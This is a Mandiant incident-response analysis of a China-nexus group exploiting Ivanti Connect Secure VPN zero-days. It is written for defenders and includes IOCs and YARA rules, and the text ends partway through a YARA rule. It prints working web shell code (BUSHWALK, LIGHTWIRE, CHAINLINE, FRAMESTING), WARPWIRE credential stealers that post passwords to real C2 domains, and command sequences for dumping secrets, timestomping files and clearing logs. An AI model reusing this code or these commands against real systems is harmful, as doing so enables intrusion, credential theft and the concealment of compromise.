Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN
Zero-Day Exploitation
By Mandiant
Published: 2024-01-31 · Archived: 2026-04-05 16:40:49 UTC
Written by: Matt Lin, Robert Wallace, John Wolfram, Dimiter Andonov, Tyler Mclellan
On Jan. 12, 2024, Mandiant published a blog post detailing two high-impact zero-day vulnerabilities, CVE-2023-
46805 and CVE-2024-21887, affecting Ivanti Connect Secure VPN (CS, formerly Pulse Secure) and Ivanti Policy
Secure (PS) appliances. On Jan. 31, 2024, Ivanti disclosed two additional vulnerabilities impacting CS and PS
devices, CVE-2024-21888 and CVE-2024-21893.
The vulnerabilities allow for an unauthenticated threat actor to execute arbitrary commands on the appliance with
elevated privileges. As previously reported, Mandiant has identified zero-day exploitation of these vulnerabilities
in the wild beginning as early as Dec. 3, 2023 by a suspected China-nexus espionage threat actor currently being
tracked as UNC5221. 
Mandiant has identified broad exploitation activity following the disclosure of the two vulnerabilities, both by
UNC5221 and other uncategorized threat groups. Mandiant assesses that a significant portion of the post-advisory
activity has been performed through automated methods.
In this follow-up blog post, we detail additional tactics, techniques, and procedures (TTPs) employed by
UNC5221 and other threat groups during post-exploitation activity across our incident response engagements. We
also detail new malware families and variants to previously identified malware families being used by UNC5221.
We acknowledge the possibility that one or more related groups may be associated with the activity described in
this blog post. It is likely that additional groups beyond UNC5221 have adopted one or more of these tools.
These observations have been supported through Mandiant's incident response engagements, working with Ivanti,
and our partners. Mandiant is also providing additional recommendations for network defenders, including
indicators of compromise (IOCs), YARA rules, and a hardening guide.
Note: Ivanti has released its first round of patches starting today, and it is scheduled to continue rolling out
additional patches over the coming weeks. Ivanti recommends customers awaiting patches to apply the mitigation,
run the external Integrity Checker Tool (ICT) to check for evidence of exploitation, and continue following
the KB article to receive product updates as they become available. 
Post Exploitation Activity Updates
Mitigation Bypass
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A mitigation bypass technique was recently identified that led to the deployment of a custom webshell tracked
as BUSHWALK. Successful exploitation would bypass the initial mitigation provided by Ivanti on Jan. 10, 2024.
At this time, Mandiant assesses the mitigation bypass activity is highly targeted, limited, and is distinct from the
post-advisory mass exploitation activity. 
Note: The external ICT successfully detected the presence of the new web shell. We have observed the threat
actor clean up traces of their activity and restore the system to a clean state after deploying BUSHWALK through
the mitigation bypass technique. The ICT is a snapshot of the current state of the appliance and cannot necessarily
detect threat actor activity if they have returned the appliance to a clean state. In addition, the patches address and
fix the mitigation bypass.
Similar to other web shells observed in this campaign, BUSHWALK is written in Perl and is embedded into a
legitimate CS file,  querymanifest.cgi . BUSHWALK provides a threat actor the ability to execute arbitrary
commands or write files to a server.
BUSHWALK executes its malicious Perl function,  validateVersion , if the web request  platform  parameter
is  SafariiOS . It uses Base64 and RC4 to decode and decrypt the threat actor’s payload in the web
request’s  command  parameter.
sub validateVersion {
 my ($rawdata) = @_;
 if ($rawdata ne ''){
 $rawdata =~ s/ /+/g;
 my $param0 = MIME::Base64::decode($rawdata);
 my $key = substr($param0, 0, 32);
 $key = RC4("<REDACTED>", $key);
 my $data = substr($param0,32);
 $data = RC4($key, $data);
 my @param1 = split("@",$data);
 my @action = split("=",$param1[0]);
 if ($action[1] eq 'change') {
 my $changeData = (split("=",$param1[1]))[1];
 changeVersion($changeData, $key);
 }
 elsif ($action[1] eq 'update'){
 my $fname = (split("=",$param1[1]))[1];
 my $versionData = (split("#",$param1[2]))[1];
 updateVersion($fname, $versionData);
 }
 else {
 print CGI::header(-type=>"text/plain", -status=> '404 Not Found');
 print "error";
 }
 exit;
 }
 else{
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return;
 }
}
Figure 1: Entry point to BUSHWALK execution
The decrypted payload determines if the web shell should execute a command or write a file to the server.
If the decrypted payload contains  change , BUSHWALK calls the  changeData  function to execute an arbitrary
command on the compromised appliance. The malware first extracts the command from the buffer. The malware
then executes the command and encrypts the command results with RC4 using the provided key.
sub changeVersion
{
 my ($u_time,$key) = @_;
 my $o_fd = popen(*DUMP, $u_time, "r");
 my $ts;
 print CGI::header();
 while(<DUMP>) {
 $ts = $ts.$_;
 }
 $ts = RC4($key, $ts);
 my $tsc = MIME::Base64::encode_base64($ts);
 print $tsc;
 close(*DUMP);
}
Figure 2: changeVersion function to read an arbitrary file
If the decrypted payload contains  update , BUSHWALK calls the  updateVersion  function to write an arbitrary
file to the server. It extracts a file path and the data to write to the file from the buffer. This file data is then
Base64-decoded and written to the file at the specified path.
sub updateVersion
{
 my ($fname, $strbuf) = @_;
 $strbuf = MIME::Base64::decode($strbuf);
 CORE::open(my $file, ">>",$fname) or return undef;
 syswrite($file, $strbuf);
 close($file);
 print CGI::header();
 print "over";
}
Figure 3: updateVersion function to write an arbitrary file
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LIGHTWIRE Variant
Mandiant has identified an additional variant of the LIGHTWIRE web shell that inserts itself into a legitimate
component of the VPN gateway,  compcheckresult.cgi .
The new sample utilizes the same GET parameters as the original LIGHTWIRE sample described in our first blog
post. Mandiant recommends hunting for GET requests containing these parameters within available web logs,
unallocated space, and memory images.
/dana-na/auth/url_default/compcheckresult.cgi?comp=comp&compid=<obfuscat
ed command>
Figure 4: LIGHTWIRE GET parameters
The new variant of LIGHTWIRE features a different obfuscation routine. It first assigns a string scalar variable
to  $useCompOnly . Next, it will use the Perl  tr  operator to transform the string using a character-by-character
translation. The key is then Base64-decoded and used to RC4 decrypt the incoming request. Finally, the issued
command is executed by calling  eval .
my $useCompOnly = "<REDACTED>";
$useCompOnly =~ tr/<REDACTED>/<REDACTED>/;
eval{my $c=Crypt::RC4->new(decode_base64($useCompOnly));my
$d=$c->RC4(decode_base64(CGI::param('compid')));eval $d;}or
do{$Main::remedy1 = "Compatibility check: $@";}
Figure 5: Newly identified LIGHTWIRE variant
The original LIGHTWIRE sample detailed in our first blog post contains a simpler obfuscation routine. It will
initialize an RC4 object and then immediately use the RC4 object to decrypt the issued command.
eval{my $c=Crypt::RC4->new("<REDACTED>");my
$d=$c->RC4(decode_base64(CGI::param('compid')));eval $d;
Figure 6: Original LIGHTWIRE sample
CHAINLINE Web Shell
After the initial exploitation of an appliance, Mandiant identified UNC5221 leveraging a custom web shell that
Mandiant is tracking as CHAINLINE. CHAINLINE is a Python web shell backdoor that is embedded in a Ivanti
Connect Secure Python package that enables arbitrary command execution.
CHAINLINE was identified in the CAV Python package in the following
path:  /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py . This is
the same Python package modified to support the WIREFIRE web shell.
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#
# Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved
#
import base64
from flask_restful import Resource, reqparse
from flask import request
import subprocess
RC4_KEY = "<REDACTED>"
def crypt(command: str):
 tmp = list(command)
 for i in range(len(tmp)):
 tmp[i] = chr(ord(tmp[i]) ^ ord(RC4_KEY[i % len(RC4_KEY)]))
 tmp = "".join(tmp)
 return tmp
class Health(Resource):
 def get(self):
 return {"message": "method not allowed"}, 201
 def post(self):
 parser = reqparse.RequestParser()
 parser.add_argument('stats', type=str)
 parser.add_argument('rates', type=str)
 args = parser.parse_args()
 command: str = args.stats
 command =
crypt(base64.b64decode(command.encode(encoding="UTF-8")).decode
(encoding="UTF-8"))
 result = subprocess.getoutput(command)
 result =
base64.b64encode(crypt(result).encode(encoding="UTF-8")).decode
(encoding="UTF-8")
 return {"message": 'ok', "stats": result}, 200
Figure 7: CHAINLINE web shell in health.py
Unlike WIREFIRE, which modifies an existing file, CHAINLINE creates a new file called  health.py , which is
not a legitimate filename in the CAV Python package. The existence of this filename or an associated compiled
Python cache file may indicate the presence of CHAINLINE.
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UNC5221 registered a new API resource path to support the access of CHAINLINE at the REST
endpoint  /api/v1/cav/client/health . This was accomplished by importing the maliciously
created  Health  API resource and then calling the  add_resource()  class method on the FLASK-RESTful  Api  object within  /home/venv3/lib/python3.6/site-packages/cav-0.1-
py3.6.egg/cav/api/__init__.py .
Figure 8 shows an excerpt of the relevant file modified to support CHAINLINE.
Figure 8: Python CAV package modified to support CHAINLINE
FRAMESTING Web Shell
Mandiant has identified an additional web shell that we are tracking as FRAMESTING. FRAMESTING is a
Python web shell embedded in a Ivanti Connect Secure Python package that enables arbitrary command
execution.
def post(self):
 import zlib
 import simplejson as json
 try:
 dskey='<REDACTED>'
 dsid=request.cookies.get('DSID')
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data=None
 if dsid and len(dsid)>=64:
 data=dsid+'=='
 else:
 data = zlib.decompress(request.data)
 data=json.loads(data).get('data')
 if data:
 import base64
 from Cryptodome.Cipher import AES
 if dskey not in globals():globals()[dskey]={}
 globals()[dskey].pop('result',None)
 aes=AES.new(dskey.encode(), AES.MODE_ECB)
 result={'message':'','action':0}
 exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),
{'request':request,'cache':globals()[dskey]},locals())
 result=globals()[dskey].get('result',result)
 return result, 200
 except:
 pass
Figure 9: category.py modified to handle POST requests for FRAMESTING
FRAMESTING was identified in the CAV Python package in the following
path:  /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py . Note
that this is the same Python package modified to support the WIREFIRE and CHAINLINE web shells.
When installed, the threat actor can access FRAMESTING web shell at the REST
endpoint  /api/v1/cav/client/categories  with a POST request. Note that the legitimate  categories  endpoint
only accepts GET requests.
The web shell employs two methods of accepting commands from an attacker. It first attempts to retrieve the
command stored in the value of a cookie named  DSID  from the current HTTP request. If the cookie is not present
or is not of the expected length, it will attempt to decompress  zlib  data within the request's POST data. Lastly,
FRAMESTING will then pass the decrypted POST data into a Python  exec()  statement to dynamically execute
additional Python code.
Note that  DSID  is also the name of a cookie used by Ivanti Connect Secure appliances for maintaining user VPN
sessions. FRAMESTING likely uses the same cookie name to blend in with network traffic.
Updates to ZIPLINE Analysis
Since our previous blog post, Mandiant has completed additional analysis into the ZIPLINE passive backdoor.
ZIPLINE makes use of extensive functionality to ensure the authentication of its custom protocol used to establish
command and control (C2). This section covers the cryptographic, authentication, and data protocol leveraged by
ZIPLINE.
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Cryptography
ZIPLINE uses AES-128-CBC to encrypt data in both directions. The corresponding encryption and decryption
keys are derived from key material sent by the server and combined with hard-coded data embedded in the
malware. Once combined, the SHA1 hashing algorithm is used to produce a 20-byte long cryptographically strong
array and the first 16 bytes of it are used as the AES-128 keys.
The key material, received by the attacker is defined, as follows:
typedef struct tag_key_material_t {
 uint8_t decryption_keydata[20];
 uint8_t encryption_keydata[20];
} key_material_t;
Figure 10: Key material structure
The relevant 20-byte long keydata material is then combined with the hard-coded string, and the SHA1 hash is
calculated on the buffer. 
The truncated first 16 bytes of the SHA1 hash are then used for both the AES-128 and the HMAC keys (HMAC is
described in more details in the next section).
The starting value for the AES initialization vectors (IVs) for the decryption and encryption operations are the first
16 bytes of the  decryption_keydata  and  encryption_keydata  arrays. 
Once produced, both the decryption and the encryption round keys (11 round keys each, including the original
AES-128 keys at indices zero) and the current IV for the AES-128 algorithm stay in memory for the lifecycle of
the process. This makes it possible to harvest the keys and the IVs possible from process memory. Because the
protocol used by ZIPLINE is stateful, the messages cannot be decrypted and authenticated out of order.
Additionally, the process that contains the passive backdoor is designed to have a relatively short lifespan,
terminating after each of the processed commands and likely respawned by the malware ecosystem running on the
compromised host.
Authentication
ZIPLINE uses HMAC (Hash-based Message Authentication Code) along with the SHA1 hashing algorithm to
enforce data integrity. The HMAC key is the same as the corresponding AES-128 key (note, there are two: one for
decryption and one for encryption). The HMAC design in ZIPLINE uses a transfer state, which denotes the index
of the current message starting from 0. Every received or sent packet increments the index and the value is
appended to the message as part of the authentication mechanism. That way messages out of order would not be
able to authenticate, which would lead to termination of the communication with the C2 server.
Figure 11 shows an example of a message, which is color-coded to show the parts that participate in the HMAC
calculations.
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Figure 11: Example message
In Figure 11, a 32-byte long message is received from the C2 server. ZIPLINE then decrypts the first 16 bytes
(blue), appends the still encrypted second part (red) of the message, and adds four bytes at the end (black),
followed by the message index, which in this case is set to one. The HMAC algorithm then calculates the SHA1
hash of the buffer in Figure 11, and then compares it with the SHA1 hash attached at the end of every message
sent and received.
Data Protocol
ZIPLINE communicates with its C2 server using a custom stateful binary protocol. The communication begins
with the C2 server connecting to the compromised host and sending a message, structured as shown in Figure 12.
typedef struct tag_header_t {
 char signature[21];
 struct tag_key_material key_material;
} header_t;
Figure 12: ZIPLINE header structure
The signature is expected to be the string  SSH-2.0-OpenSSH_0.3xx , followed by a structure that contains data for
AES-128 and HMAC key generation (see the Cryptography). Next, the C2 sends an encrypted message that, once
decrypted, follows the structure described in Figure 13.
typedef struct tag_message_t {
 uint16_t len; /* big endian number */
 uint8_t data[len]; /* variable size data */
 uint8_t hmac_sig[20];
} message_t;
Figure 13: ZIPLINE message structure
Although the message structure is designed to be flexible, this instance of the malware expects the first message to
specify length 0x10. Additionally, the data after the decryption must be exactly as shown in Figure 14 or the
malware terminates the connection.
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Figure 14: Decrypted message structure
In the decrypted message in Figure 14, the size (note, it’s a big endian number) is denoted by the first two bytes
(blue), followed by an array of 16 bytes (red) that must contain exactly the values shown. In case of a mismatch,
ZIPLINE will terminate the connection, which would also lead to process termination. The  xx  bytes shown in
black are non-consequential padding values and the  yy  values (amber) specify the HMAC signature for the
message.
If the first message passes the integrity checks, the malware first encrypts the buffer in Figure 14, and then sends it
back to the C2 server. After that, it fetches another message, which is expected to have  message_t.len  equal to
one. That message contains a single meaningful byte (apart from the padding and the HMAC signature) which is
the index of the command to be executed.
Command
ID
Operation Description
1 File Upload
The command contains the file path and which content to be sent to the
connected host.
2 File Download
The command contains the file path and its content to be saved on the
compromised system.
3 Reverse Shell
A reverse shell is created using /bin/sh and the provided command is
executed
4 Proxy Server
Creates a proxy server with an IP address provided as part of the
command.
5
Tunneling
Server
Implements a tunneling server, capable of simultaneously dispatching
traffic between multiple endpoints.
Table 1: ZIPLINE command ID
The message must be formatted in the same way as the previous one with only the first 3 bytes being meaningful
(the length and the command).
Additional Findings
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ZIPLINE is designed to fork itself twice and continue on its child processes. It also uses the  setsid  command to
create a new session for its process, which effectively detaches it from any controlling terminal. Additionally, the
malware closes the open handles except for the one associated with the current connection. The  web  process
must be able to handle the  SIGALRM  signal because the malware executes the  alarm  command on a couple of
occasions (delayed by three seconds). Additionally, the  web  process terminates itself after executing the specified
command, which implies that it would be respawned by the ZIPLINE malware ecosystem on the compromised
host in order to keep listening for incoming traffic.
WARPWIRE Variants
Mandiant has identified multiple new variants of WARPWIRE across our response engagements and in the wild.
Across these variants, the primary purpose of them has remained to target plaintext passwords and usernames for
exfiltration to a hard-coded C2 server.
The main change across these variants is how credentials are submitted to the hard-coded C2. In the majority of
identified variants, the GET request has been replaced with a POST that submits the credentials in either the POST
params or body, however, Mandiant has also identified variants that still utilize a GET request but now include
the  window.location.href  as a submitted value. 
Based on the number of variants identified as well as suspected mass exploitation of the related vulnerabilities,
Mandiant does not currently attribute all WARPWIRE variants to UNC5221. Figure 15-18 shows excerpts of
select WARPWIRE samples.
var ivanti = document.frmLogin.username.value;
var login = document.frmLogin.password.value;
var action = window.location.href;
if (ivanti!=="" && login!=="") {
 var ivanti = btoa(ivanti);
 var login = btoa(login);
 var action = btoa(action);
 const url = "https://duorhytm[.]fun/";
 var xhr = new XMLHttpRequest();
 xhr.open("POST", url, false);
 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
 var params ="ivanti="+ivanti +"&login="+ login+"&action="+action;
 xhr.send(params);
Figure 15: WARPWIRE variant
var a = document.frmLogin.username.value;
var b = document.frmLogin.password.value;
var c = window.location.href;
if (a !== "" && b !== "") {
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var aEncoded = btoa(a);
 var bEncoded = btoa(b);
 var cEncoded = btoa(c);
 const url = "https://clicko[.]click/?a=" + aEncoded + "&b=" + bEncoded
+ "&c=" + cEncoded;
 var xhr = new XMLHttpRequest();
 xhr.open("GET", url, false);
 xhr.send(null);
Figure 16: WARPWIRE variant
 var uParam = document.frmLogin.username.value;
 var pParam = document.frmLogin.password.value;
 if (uParam && pParam) {
 var xhr = new XMLHttpRequest();
 const url = `https://www.miltonhouse[.]nl/pub/opt/processor.php`
 const body = `h=${btoa(document.location.hostname)}&u
=${btoa(uParam)}&p=${btoa(pParam)}`;
 xhr.open('POST', url, true);
 xhr.setRequestHeader
('Content-type', 'application/x-www-form-urlencoded');
 xhr.send(body);
Figure 17: WARPWIRE variant
 var ivanti = document.frmLogin.username.value;
 var login = document.frmLogin.password.value;
 var action = window.location.href;
 if (ivanti!=="" && login!=="") {
 var ivanti = btoa(ivanti);
 var login = btoa(login);
 var action = btoa(action);
 const url = "https://cpanel.netbar[.]org/assets/js/xml.php";
 var xhr = new XMLHttpRequest();
 xhr.open("POST", url, false);
 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
 var params ="ivanti="+ivanti +"&login="+ login+"&action="+action;
 xhr.send(params);
 }
Figure 18: WARPWIRE variant
Usage of Open-Source Tooling
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Across our incident response engagements, Mandiant identified multiple open-source tools utilized to support
post-exploitation activity on Ivanti CS appliances. These tools were associated with internal network
reconnaissance, lateral movement, and data exfiltration within a limited number of victim environments.
Tool Name  Description
IMPACKET
IMPACKET is a Python library that allows for interaction with various network
protocols. It is particularly effective in environments that rely on Active Directory and
related Microsoft Windows network services.
CRACKMAPEXEC
CRACKMAPEXEC is a post-exploitation tool against Microsoft Windows
environments. It is recognized for its lateral movement capabilities.
IODINE
IODINE is a network traffic tunneler that allows for tunneling of IPv4 traffic over
DNS.
ENUM4LINUX
ENUM4LINUX is a Linux Perl script for enumerating data from Windows and Samba
hosts.
Table 2: Open source tooling identified
Additional TTPs
Configuration and Cache Theft
Mandiant has identified evidence consistent with dumping the running configuration and cache after the initial
exploitation of an CS appliance using the built-in  dsls  command found on CS appliances. The resulting output
is saved to a  tar  archive masquerading as a randomly generated 10-character CSS file within the
directory:  /home/webserver/htdocs/dana-na/css/ . 
We have identified the following sequence of commands (Figure 19) executed on a compromised appliance to
dump the cache and configuration into the CSS directory.
export LD_LIBRARY_PATH=/lib:/home/lib;
export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/home/bin;
echo ZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGVuY29kZSBhcyBlCmY
9b3BlbignL2hvbWUvYmluL2RzbHMnLCdyYicpCmM9Zi5yZWFkKC
kKZi5jbG9zZSgpCnA9Yy5maW5kKGJ5dGVzLmZyb21oZXgoJzhkY
mQ2MGZmZmZmZicpKQppZiBwPjA6CiBkPWJ5dGVhcnJheShjKQ
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ogaWYgZFtwLTJdPT0weDc0OgogIGRbcC0yXT0weGViCiAgZj1vcG
VuKCcvdG1wL3Rvb2xzJywnd2InKQogIGYud3JpdGUoZCkKICBmL
mNsb3NlKCkKICBzPSdmJwogZWxzZToKICBzPSdpJwplbHNlOgo
gcz0nbicKcHJpbnQocyxlbmQ9Jycp
|base64 -d|/home/venv3/bin/python;
chmod +x /tmp/tools;
/tmp/tools -S -R -B /vc >/tmp/test1.txt;
rm -rf /tmp/tools;
touch /tmp/testt -r /home/webserver/htdocs/dana-na/css;
mount -o rw,remount /;
tar czf /home/webserver/htdocs/dana-na/css/<REDACTED>.css /tmp/test1.txt;
rm -rf /tmp/test1.txt;
Figure 19: Command sequence to dump the cache and configuration
The command sequence executes a Base64-encoded Python script that writes a patched version of
the  dsls  binary ( /home/bin/dsls ) into  /tmp/tools . At a high level, the patched binary allows
the  dsls  command to display sensitive information that is typically redacted. Figure 20 shows the Base64-
decoded Python script.
from base64 import b64encode as e
f=open('/home/bin/dsls','rb')
c=f.read()
f.close()
p=c.find(bytes.fromhex('8dbd60ffffff'))
if p>0:
d=bytearray(c)
if d[p-2]==0x74:
 d[p-2]=0xeb
f=open('/tmp/tools','wb')
f.write(d)
f.close()
s='f'
 else:
 s='i'
else:
 s='n'
print(s,end='')
Figure 20: Base64-decoded Python script
The script looks for the byte sequence  0x8dbd60ffffff  within the file  /home/bin/dsls . This is a legitimate
executable on Ivanti Connect Secure appliances used for displaying the running configuration and cache
information. If the byte sequence is found ( p>0 ), it creates a byte array ( d ) from the file contents ( c ) for
further modification.
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The logic then checks if the byte 2 positions before the found byte sequence ( p-2 ) is equal to  0x74 . If it is
equal to  0x74 , it replaces that byte with  0xeb . Lastly, the script rewrites the modified byte array
into  /tmp/tools . 
The modification of the binary turns a conditional  JMP  instruction ( 0x74 ) into an unconditional  JMP  ( 0xeb ).
The patch forces the execution flow to bypass a check in the legitimate  dsls  binary responsible for redacting
sensitive data. This allows for the patched binary to display the value of fields that is typically redacted in the
output with  <secure> .
The command sequence continues to do the following:
1. Execute  /tmp/tools  (patched version of  /home/bin/dsls ) to dump the configuration and cache
to  /tmp/test1.txt  
2. Remove  /tmp/tools  
3. Create an empty file  /tmp/testt  with the modified and access timestamps
of  /home/webserver/htdocs/dana-na/css/ . This will be used later to timestomp the CSS directory with
its original timestamps. 
4. Remount the file system as read-write
5. Archive the dump into a CSS file within  /home/webserver/htdocs/dana-na/css/
6. Delete  /tmp/test1.txt
Mandiant identified efforts to remove evidence of compromise after the configuration and cache dump were
downloaded from the server by the threat actor. The command sequence in Figure 21 was issued by exploiting
CVE-2023-46805 and CVE-2024-21887.
rm -rf /home/webserver/htdocs/dana-na/css/<REDACTED>.css;
touch -r /tmp/testt /home/webserver/htdocs/dana-na/css;
rm -rf /tmp/testt;
echo > /data/var/dlogs/config_rest_server.log;
mount -o ro,remount/
Figure 21: Command sequence to cover up evidence of compromise
The command sequence does the following:
1. Delete the staged configuration and cache dump
2. Timestomp the CSS directory with the modified and access timestamps of  /tmp/testt
3. Clear the  config_rest_server.log  file that would record exploitation attempts of CVE-2023-46805 and
CVE-2024-21887
4. Remount the file system in read-only mode, reverting it back to its original state
Additionally, we have identified the configuration and dump being saved to compressed files located in the
following paths:
/runtime/webserver/htdocs/dana-na/help/logo.gif
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/runtime/webserver/htdocs/dana-na/help/login.gif
Ivanti has published additional guidance on remediating the risk resulting from the cache and configuration dump.
This includes resetting local account credentials, resetting API keys, and the revocation of certificates.
CAV Web Server Log Exfiltration
Mandiant has identified evidence of exfiltration of the CAV web server logs staged
in  /runtime/webserver/htdocs/dana-na/help/logo.gif . The path does not legitimately contain  logo.gif .
/usr/bin/printf 'GIF'>/home/webserver/htdocs/dana-na/help/logo.gif;
/usr/bin/printf 'GIF'>/home/webserver/htdocs/dana-na/help/logo.gif;
cat /data/var/dlogs/cav_webserv.log|/usr/bin/base64>>/home/
webserver/htdocs/dana-na/help/logo.gif
Figure 22: Command sequence leading to exfiltration of the CAV web server logs
The command redirects the GIF header into  logo.gif  and then appends the Base64-encoded contents
of  /data/var/dlogs/cav_webserv.log  into the same file.
cav_webserv.log  contains web requests and logs maintained by uWSGI for the CAV REST API. Mandiant has
identified multiple modifications to the associated CAV Python package to include web shells such as WIREFIRE,
CHAINLINE, and FRAMESTING. Any requests to those web shells would be logged in this file.
ICT Manipulation
The system's internal integrity checker tool can help detect modifications or additions made to the file system.
Mandiant has identified instances where the external ICT detected a modification to a Python package associated
with the internal ICT:  /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg . 
We identified a single line commented out in  scanmgr.py  that disables the execution of the scanner.
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Figure 23: Scanner execution commented out in scanmgr.py
Additionally, Volexity published a blog post on Jan. 18, 2024 detailing another method leveraged to tamper with
the built-in integrity checker tool on a compromised Ivanti Connect Secure appliance.
Mandiant has observed threat actors tampering with the internal ICT by modifying the manifest file located
at  /home/etc/manifest . This file maintains a list of the expected files on the system and its associated SHA256
hash. The internal ICT verifies the manifest file’s signature using a public key.
In some instances, the threat actor failed to create a new digital signature of the manifest file. This causes the
internal ICT to fail and generates event ID  SYS32042  in the system event log, indicating that the manifest file is
bad.
The full list of event IDs associated with the integrity checker tool can be found in Table 3.
Event ID Summarized Description
SYS32039 New files were found with the Internal Integrity Check Tool.
SYS32040 A modified file was found with the Internal Integrity Check Tool.
SYS32041 The Integrity Check Tool manifest file is missing.
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Event ID Summarized Description
SYS32042 The Integrity Checker Tool manifest file is bad.
SYS32087 A built-in integrity scan has started.
SYS32088 A built-in integrity scan has been completed.
Table 3: Integrity checker tool event IDs
System Log Clearing
In some instances, the threat actor used a legitimate system utility,  /home/bin/logClear.pl  to clear system logs.
The clearing of system logs via this method generates event ID  ADM20599  in the admin event log for each log
type cleared. There are six (6) system logs available on an Ivanti Connect Secure appliance.
Log Name File Path
events /runtime/logs/log.events.vc0
admin /runtime/logs/log.admin.vc0
access /runtime/logs/log.access.vc0
diagnosticlog /runtime/logs/log.diagnosticlog.vc0
policytrace /runtime/logs/log.policytrace.vc0
sensorslog /runtime/logs/log.sensorslog.vc0
Table 4: System log descriptions
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Mandiant recommends hunting for event ID ADM20599  in the events log ( log.events.vc0 ) for evidence of log
clearing.
Attribution
Mandiant assesses with moderate confidence that UNC5221 is a China-nexus espionage threat actor. Mandiant has
observed UNC5221 targeting a wide range of verticals of strategic interest to the People's Republic of China
(PRC) both pre and post disclosure, and early indications show that tooling and infrastructure overlap with past
intrusions attributed to suspected China-based espionage actors. Additionally, Linux-based tools identified in
incident response investigations use code from multiple Chinese-language Github repositories. As noted in our
previous blog post, UNC5221 has largely leveraged TTPs associated with zero-day exploitation of edge
infrastructure by suspected PRC nexus actors.
Recommendations
Patch Availability
Ivanti is releasing the first round of patches for specific versions of Ivanti Connect Secure starting on Jan. 31,
2024. The remaining patches will be released on a staggered schedule for three different products that span
multiple branches and versions.
Installing the Mitigation 
Affected customers should install the mitigation immediately if a patch is not yet available for their version.
Installing the mitigation is intended to prevent future exploitation of the two vulnerabilities. It is not intended to
remediate or otherwise contain an existing compromised device.
On Jan. 20, 2024, Ivanti released details related to a condition that would negatively impact the mitigation and
render appliances in a vulnerable state. The condition impacts customers who push configurations to appliances
using Ivanti Neurons for Secure Access (nSA) or Pulse One. Ivanti recommends customers to stop pushing
configurations to appliances with the XML in place until patches are installed.
Integrity Checker Tool
Ivanti customers are still encouraged to first run and review their logs for historical hits by the internal Integrity
Checker Tool (ICT). If the internal ICT comes back with no results, customers should then run the external ICT as
it is more robust and resistant to tampering. Mandiant and Volexity have observed threat actors attempting to
tamper with the internal (built-in) ICT to evade detection.
Customers should share the ICT results with Ivanti for further analysis. Ivanti will make a determination if the
appliance is compromised and recommend next steps.
Password Resets
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In addition to resetting the password of any local user configured on the appliance, Mandiant advises that
organizations affected by the WARPWIRE credential stealer reset passwords of any users who authenticated to the
appliance during the period when the malware was active. We also recommend customers search EDR telemetry
and firewall logs for traffic to the WARPWIRE credential harvester C2 addresses listed in the IOCs section.
Hardening Guide
We have released a guidance document, which contains remediation and hardening recommendations for
suspected compromised Ivanti Connect Secure (CS) VPN appliances associated with the exploitation of CVE-2023-46805, CVE-2024-21887, CVE-2024-21888, and CVE-2024-21893.
Acknowledgements
We would like to thank Ivanti for their continued partnership, support, and transparency following the exploitation
of CVE-2023-46805 and CVE-2024-21887 by UNC5221. In addition, this work would not have been possible
without the assistance from our team members across Mandiant Consulting, Intelligence, FLARE, and Google
TAG.
Indicators of Compromise (IOCs)
Host-Based Indicators (HBIs)
Filename MD5 Description
health.py 3045f5b3d355a9ab26ab6f44cc831a83 CHAINLINE web shell
compcheckresult.cgi 3d97f55a03ceb4f71671aa2ecf5b24e9 LIGHTWIRE web shell
lastauthserverused.js 2ec505088b942c234f39a37188e80d7a
WARPWIRE credential harvester
variant
lastauthserverused.js 8eb042da6ba683ef1bae460af103cc44
WARPWIRE credential harvester
variant
lastauthserverused.js a739bd4c2b9f3679f43579711448786f
WARPWIRE credential harvester
variant
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Filename MD5 Description
lastauthserverused.js a81813f70151a022ea1065b7f4d6b5ab
WARPWIRE credential harvester
variant
lastauthserverused.js d0c7a334a4d9dcd3c6335ae13bee59ea WARPWIRE credential harvester
lastauthserverused.js e8489983d73ed30a4240a14b1f161254
WARPWIRE credential harvester
variant
category.py 465600cece80861497e8c1c86a07a23e FRAMESTING web shell
logo.gif N/A — varies
Configuration and cache dump or CAV
web server log exfiltration
login.gif N/A — varies Configuration and cache dump
[a-fA-F0-9]{10}\.css N/A — varies Configuration and cache dump
visits.py N/A — varies WIREFIRE web shell
Network-Based Indicators (NBIs)
Network Indicator Type Description
symantke[.]com Domain WARPWIRE C2 server
miltonhouse[.]nl Domain WARPWIRE variant C2 server
entraide-internationale[.]fr Domain WARPWIRE variant C2 server
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Network Indicator Type Description
api.d-n-s[.]name Domain WARPWIRE variant C2 server
cpanel.netbar[.]org Domain WARPWIRE variant C2 server
clickcom[.]click Domain WARPWIRE variant C2 server
clicko[.]click Domain WARPWIRE variant C2 server
duorhytm[.]fun Domain WARPWIRE variant C2 server
line-api[.]com Domain WARPWIRE variant C2 server
areekaweb[.]com Domain WARPWIRE variant C2 server
ehangmun[.]com Domain WARPWIRE variant C2 server
secure-cama[.]com Domain WARPWIRE variant C2 server
146.0.228[.]66 IPv4 WARPWIRE variant C2 server
159.65.130[.]146 IPv4 WARPWIRE variant C2 server
8.137.112[.]245 IPv4 WARPWIRE variant C2 server
91.92.254[.]14 IPv4 WARPWIRE variant C2 server
186.179.39[.]235IPv4 Mass exploitation activity
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Network Indicator Type Description
50.215.39[.]49 IPv4 Post-exploitation activity
45.61.136[.]14 IPv4 Post-exploitation activity
173.220.106[.]166 IPv4 Post-exploitation activity
YARA Rules
rule M_Hunting_Webshell_BUSHWALK_1 {
 meta:
 author = "Mandiant"
 description = "This rule detects BUSHWALK, a webshell written in Perl CGI
that is embedded into a legitimate Pulse Secure file to enable file transfers"
 strings:
 $s1 = "SafariiOS" ascii
 $s2 = "command" ascii
 $s3 = "change" ascii
 $s4 = "update" ascii
 $s5 = "$data = RC4($key, $data);" ascii
 condition:
 filesize < 5KB
 and all of them
}
rule M_Hunting_Webshell_CHAINLINE_1 {
 meta:
 author = "Mandiant"
 description = "This rule detects the CHAINLINE webshell,
which receives RC4 encrypted commands and returns the execution result"
 md5 = "3045f5b3d355a9ab26ab6f44cc831a83"
 strings:
